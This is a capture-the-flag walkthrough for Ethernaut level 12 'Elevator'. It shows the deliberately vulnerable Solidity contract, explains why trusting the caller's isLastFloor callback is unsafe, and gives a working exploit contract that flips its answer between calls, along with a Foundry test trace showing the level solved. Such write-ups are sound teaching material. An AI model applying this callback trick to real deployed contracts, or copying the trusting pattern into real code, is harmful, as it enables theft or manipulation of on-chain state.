CTF walkthrough, Ethernaut, #12 Elevator

To solve this challenge we have to set the top state variable to true.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

Analysis

Let’s go over the goTo function:

function goTo(uint256 _floor) public {
    Building building = Building(msg.sender);

    if (!building.isLastFloor(_floor)) {
        floor = _floor;
        top = building.isLastFloor(floor);
    }
}
  1. It casts the msg.sender to Building, which means that it treats the msg.sender as a caller contract of the goTo function.
  2. Then it checks if we have not yet reached the top of our building: !building.isLastFloor(_floor).
  3. Finally, it sets the floor and asks the instance of the building contract if this is the last floor.

Exploit

We can implement the Building in any way we want. Let’s make the isLastFloor return false when it is called first time and return true the second time. We’ll have a boolean flag for that:

contract BadBuilding is Building {
    bool private last;
    Elevator private immutable elevator;

    constructor(Elevator _elevator) {
      last = true;
      elevator = _elevator;
    }

    function run(uint256 floor) public {
      elevator.goTo(floor);
    }

    function isLastFloor(uint256) external returns (bool) {
        last = !last;
        return last;
    }
}

Now any floor will be the last ๐Ÿ˜œ

function exploit() internal override {
    vm.startPrank(player);
    new BadBuilding(level).run(0);
    vm.stopPrank();
}

The trace:

$ forge test --match-contract ElevatorTest -vvvv

Running 1 test for src/test/Elevator.t.sol:ElevatorTest
[PASS] testElevator() (gas: 400437)
Traces:
  [400437] ElevatorTest::testElevator()
    โ”œโ”€ [197817] ElevatorTest::create()
    โ”‚   โ”œโ”€ [0] VM::prank(player: [...])
    โ”‚   โ”‚   โ””โ”€ โ† ()
    โ”‚   โ”œโ”€ [185469] Ethernaut::createLevelInstance(ElevatorFactory: [...])
    โ”‚   โ”‚   โ”œโ”€ [133906] ElevatorFactory::createInstance(player: [...])
    โ”‚   โ”‚   โ”‚   โ”œโ”€ [101347] โ†’ new Elevator@"0x037fโ€ฆdd8f"
    โ”‚   โ”‚   โ”‚   โ”‚   โ””โ”€ โ† 506 bytes of code
    โ”‚   โ”‚   โ”‚   โ””โ”€ โ† Elevator: [...]
    โ”‚   โ”‚   โ”œโ”€ emit LevelInstanceCreatedLog(player: player: [...], instance: Elevator: [...])
    โ”‚   โ”‚   โ””โ”€ โ† Elevator: [...]
    โ”‚   โ””โ”€ โ† Elevator: [...]
    โ”œโ”€ [0] VM::startPrank(player: [...])
    โ”‚   โ””โ”€ โ† ()
    โ”œโ”€ [91263] โ†’ new BadBuilding@"0xa2f9โ€ฆf3a7"
    โ”‚   โ””โ”€ โ† 344 bytes of code
    โ”œโ”€ [37494] BadBuilding::run(0)
    โ”‚   โ”œโ”€ [37018] Elevator::goTo(0)
    โ”‚   โ”‚   โ”œโ”€ [396] BadBuilding::isLastFloor(0)
    โ”‚   โ”‚   โ”‚   โ””โ”€ โ† false
    โ”‚   โ”‚   โ”œโ”€ [20394] BadBuilding::isLastFloor(0)
    โ”‚   โ”‚   โ”‚   โ””โ”€ โ† true
    โ”‚   โ”‚   โ””โ”€ โ† ()
    โ”‚   โ””โ”€ โ† ()
    โ”œโ”€ [0] VM::stopPrank()
    โ”‚   โ””โ”€ โ† ()
    โ”œโ”€ [0] VM::startPrank(player: [...])
    โ”‚   โ””โ”€ โ† ()
    โ”œโ”€ [4292] Ethernaut::submitLevelInstance(Elevator: [...])
    โ”‚   โ”œโ”€ [1245] ElevatorFactory::validateInstance(Elevator: [...], player: [...])
    โ”‚   โ”‚   โ”œโ”€ [332] Elevator::top() [staticcall]
    โ”‚   โ”‚   โ”‚   โ””โ”€ โ† true
    โ”‚   โ”‚   โ””โ”€ โ† true
    โ”‚   โ”œโ”€ emit LevelCompletedLog(player: player: [...], level: ElevatorFactory: [...])
    โ”‚   โ””โ”€ โ† true
    โ”œโ”€ [0] VM::stopPrank()
    โ”‚   โ””โ”€ โ† ()
    โ””โ”€ โ† ()

Test result: ok. 1 passed; 0 failed; finished in 990.96ยตs

Lessons learned

Don’t trust the world outside ๐Ÿ˜ฑ


Thanks for reading! We have completed another challenge and this one wasn’t that tricky ๐Ÿ˜

The full code is here.

Let’s continue to the CTF walkthrough, Ethernaut, #13 Privacy!